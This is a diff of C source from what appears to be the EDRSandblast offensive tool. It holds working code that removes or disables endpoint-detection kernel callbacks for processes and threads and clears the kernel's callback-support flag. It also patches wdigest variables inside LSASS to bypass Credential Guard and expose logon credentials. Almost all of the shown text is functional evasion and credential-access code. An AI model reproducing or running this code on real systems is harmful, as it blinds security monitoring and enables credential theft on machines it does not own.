for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
|
||||
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
|
||||
WriteMemoryDWORD(cb->addresses.object_callback.enable_addr, enable ? TRUE : FALSE);
|
||||
cb->removed = !cb->removed;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
|
||||
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, FALSE);
|
||||
}
|
||||
|
||||
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
|
||||
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, TRUE);
|
||||
}
|
||||
|
||||
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable) {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
WriteMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled, enable ? TRUE : FALSE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* ------- CallbackList unlinking strategy --------
|
||||
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE can be emptied by making it point to itself
|
||||
* However, if the kernel memory write primitive used to overwrite a pointer is not "atomic" (e.g. the RTCore64 driver's writes 2 DWORDs successively), there
|
||||
* is a high risk of race condition where the CallbackList is used by the system while one of its pointers is only partial overwritten (thus invalid), which
|
||||
* is likely to result in a crash.
|
||||
* Handle creation/duplication for processes and threads being very frequent, this strategy is thus risky in some cases.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Count callbacks set on Process & Thread handle manipulation, but is unnable to differentiate EDR-related callbacks from potentially legitimate ones
|
||||
* Depends only on documented symbols
|
||||
*/
|
||||
SIZE_T CountProcessAndThreadObjectsCallbacks() {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return 0;
|
||||
}
|
||||
SIZE_T nbCallbacks = 0;
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry + offsetof(LIST_ENTRY, Flink))) {
|
||||
nbCallbacks++;
|
||||
ObjectTypesSubjectToCallback[i].nbCallbacks++;
|
||||
}
|
||||
_tprintf_or_not(TEXT("Counting %llu registered callbacks for %s\n"), ObjectTypesSubjectToCallback[i].nbCallbacks, ObjectTypesSubjectToCallback[i].name);
|
||||
}
|
||||
|
||||
return nbCallbacks;
|
||||
}
|
||||
|
||||
/*
|
||||
* Unlink all process and thread handle callbacks (EDR related or not)
|
||||
* (no critical system component should be in these list anyway)
|
||||
*/
|
||||
void RemoveAllProcessAndThreadObjectsCallbacks() {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
if (ObjectTypesSubjectToCallback[i].nbCallbacks) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
ObjectTypesSubjectToCallback[i].callbackListAddress = ObjectType_Callbacks_List;
|
||||
|
||||
ObjectTypesSubjectToCallback[i].callbackListFlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
|
||||
ObjectTypesSubjectToCallback[i].callbackListBlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink));
|
||||
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink), ObjectType_Callbacks_List);
|
||||
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink), ObjectType_Callbacks_List);
|
||||
_tprintf_or_not(TEXT("Unlinked the callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
|
||||
}
|
||||
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
/*
|
||||
* Re-link all process and thread handle callbacks that were unlinked
|
||||
*/
|
||||
void RestoreAllProcessAndThreadObjectsCallbacks() {
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
if (ObjectTypesSubjectToCallback[i].callbackListAddress && ObjectTypesSubjectToCallback[i].nbCallbacks) {
|
||||
DWORD64 callbackListAddress = ObjectTypesSubjectToCallback[i].callbackListAddress;
|
||||
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Flink), ObjectTypesSubjectToCallback[i].callbackListFlinkBackup);
|
||||
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Blink), ObjectTypesSubjectToCallback[i].callbackListBlinkBackup);
|
||||
_tprintf_or_not(TEXT("Re-linked the original callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
|
||||
}
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
/*
|
||||
* ------- CallbackList unlinking strategy END --------
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
* ------- SupportCallbacks bit strategy --------
|
||||
*/
|
||||
/*
|
||||
* Enables/Disables Callback support for processes and threads entirely. The "SupportsObjectCallbacks" field of _OBJECT_TYPE being checked by ObpCreateHandle before checking if CallbackList
|
||||
* is not empty (and before listing & calling the callbacks). No callback support, no callbacks.
|
||||
* WARNING : This flag is actually checked by PatchGuard ! There is a risk that PatchGuard will notice a change, even if temporary, and cause a BSOD.
|
||||
*/
|
||||
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
|
||||
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
|
||||
if (enable) {
|
||||
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit;
|
||||
}
|
||||
else {
|
||||
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit;
|
||||
}
|
||||
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
|
||||
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSubjCb) {
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
|
||||
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
|
||||
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
|
||||
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0;
|
||||
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
|
||||
return enable;
|
||||
}
|
||||
|
||||
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled() {
|
||||
BOOL enabled = FALSE;
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
enabled |= AreObjectsCallbacksSupportEnabled(ObjectTypesSubjectToCallback[i]);
|
||||
}
|
||||
return enabled;
|
||||
}
|
||||
/*
|
||||
* ------- SupportCallbacks bit strategy --------
|
||||
*/
|
||||
@@ -4,6 +4,7 @@
|
||||
#include <tlhelp32.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
@@ -17,14 +18,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
_putts_or_not(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
|
||||
_putts_or_not(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
@@ -38,21 +39,21 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
|
||||
_putts_or_not(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open an handle to the LSASS process.
|
||||
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
|
||||
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HMODULE hModulesArray[512] = { 0 };
|
||||
DWORD lpcbNeeded;
|
||||
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||
CloseHandle(hLsass);
|
||||
return 1;
|
||||
}
|
||||
@@ -61,14 +62,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
TCHAR szModulename[MAX_PATH];
|
||||
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
|
||||
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, _countof(szModulename))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
if (_tcsstr(szModulename, TEXT("wdigest"))) {
|
||||
MODULEINFO moduleInfo = { 0 };
|
||||
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -84,87 +85,87 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
* Setting g_fParameter_UseLogonCredential to 0x1.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||
DWORD useLogonCredentialPatch = 0x1;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
|
||||
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != useLogonCredentialPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == useLogonCredentialPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
|
||||
_putts_or_not(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
_putts_or_not(TEXT("\n"));
|
||||
|
||||
/*
|
||||
* Setting g_IsCredGuardEnabled to 0x0.
|
||||
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||
DWORD isCredGuardEnabledPatch = 0x0;
|
||||
currentValue = 0x0;
|
||||
bytesRead = 0;
|
||||
bytesWritten = 0;
|
||||
DWORD oldMemoryProtection = 0x0;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
|
||||
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
|
||||
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_IsCredGuardEnabled at 0x%I64x\n"), credGuardEnabledAddress);
|
||||
_putts_or_not(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE"));
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != isCredGuardEnabledPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == isCredGuardEnabledPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
|
||||
_putts_or_not(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!"));
|
||||
}
|
||||
DWORD newMemoryProtection = 0x0;
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
|
||||
_putts_or_not(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
_putts_or_not(TEXT("\n"));
|
||||
|
||||
returnStatus = TRUE;
|
||||
|
||||
|
||||
@@ -6,8 +6,10 @@
|
||||
*/
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "Undoc.h"
|
||||
#include "RunAsPPL.h"
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
@@ -17,19 +19,19 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
// Open an handle to our own process.
|
||||
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
|
||||
_tprintf_or_not(TEXT("[*] [ProcessProtection] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
|
||||
}
|
||||
|
||||
|
||||
// Retrieves the native NtQuerySystemInformation function from ntdll.
|
||||
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
|
||||
if (!hNtdll) {
|
||||
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||
if (!NtQuerySystemInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
@@ -42,7 +44,7 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
|
||||
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
|
||||
if (!pHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
@@ -50,14 +52,14 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
SystemHandleInformationSize = SystemHandleInformationSize * 2;
|
||||
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
|
||||
if (!tmpHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
pHandleTableInformation = tmpHandleTableInformation;
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
}
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
@@ -71,13 +73,10 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
}
|
||||
|
||||
if (handleInfo.HandleValue == (USHORT)((ULONG_PTR)selfProcessHandle)) {
|
||||
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found the handle of the current process (PID: %hu): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
returnAddress = (DWORD64)handleInfo.Object;
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(pHandleTableInformation);
|
||||
@@ -86,24 +85,20 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
